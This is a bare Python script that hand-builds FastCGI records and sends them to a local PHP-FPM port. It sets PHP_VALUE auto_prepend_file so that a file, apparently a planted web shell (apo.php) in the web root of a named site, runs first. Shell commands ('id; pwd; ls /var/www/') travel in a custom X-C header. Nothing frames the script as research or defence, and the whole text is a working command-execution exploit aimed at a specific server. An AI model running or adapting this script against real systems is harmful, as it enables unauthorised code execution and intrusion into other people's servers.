
import socket,struct,time
FCGI_BEGIN_REQUEST=1;FCGI_PARAMS=4;FCGI_STDIN=5;FCGI_STDOUT=6
def enc(p):
    r=b''
    for k,v in p.items():
        for b in (k.encode(),v.encode()):
            if len(b)<128: r+=struct.pack('B',len(b))
            else: r+=struct.pack('!I',len(b)|0x80000000)
        r+=k.encode()+v.encode()
    return r
def mk(p,body=b''):
    out=struct.pack('!BBHH',1,1,1,8)+struct.pack('!HB',1,0)
    pd=enc(p)
    out+=struct.pack('!BBHH',1,4,1,len(pd))+pd
    out+=struct.pack('!BBHH',1,4,1,0)
    out+=struct.pack('!BBHH',1,5,1,len(body))+body
    out+=struct.pack('!BBHH',1,5,1,0)
    return out
p={'GATEWAY_INTERFACE':'CGI/1.1','REQUEST_METHOD':'POST','CONTENT_TYPE':'application/x-www-form-urlencoded','CONTENT_LENGTH':'0','SCRIPT_FILENAME':'/var/www/glarkru/data/www/glark.ru/index.php','SCRIPT_NAME':'/index.php','REQUEST_URI':'/index.php','QUERY_STRING':'','SERVER_PROTOCOL':'HTTP/1.1','REMOTE_ADDR':'127.0.0.1','SERVER_NAME':'glark.ru','SERVER_PORT':'80','SERVER_ADDR':'127.0.0.1','REDIRECT_STATUS':'200','DOCUMENT_ROOT':'/var/www/glarkru/data/www/glark.ru','HTTP_HOST':'glark.ru','PHP_VALUE':'auto_prepend_file=/var/www/glarkru/data/www/glark.ru/apo.php','HTTP_X_C':'id; pwd; ls /var/www/'}
s=socket.create_connection(('127.0.0.1',9000),4)
s.settimeout(6)
s.sendall(mk(p))
data=b''
while True:
    try:
        c=s.recv(65536)
    except socket.timeout: break
    if not c: break
    data+=c
print(data.decode('utf-8','replace'))
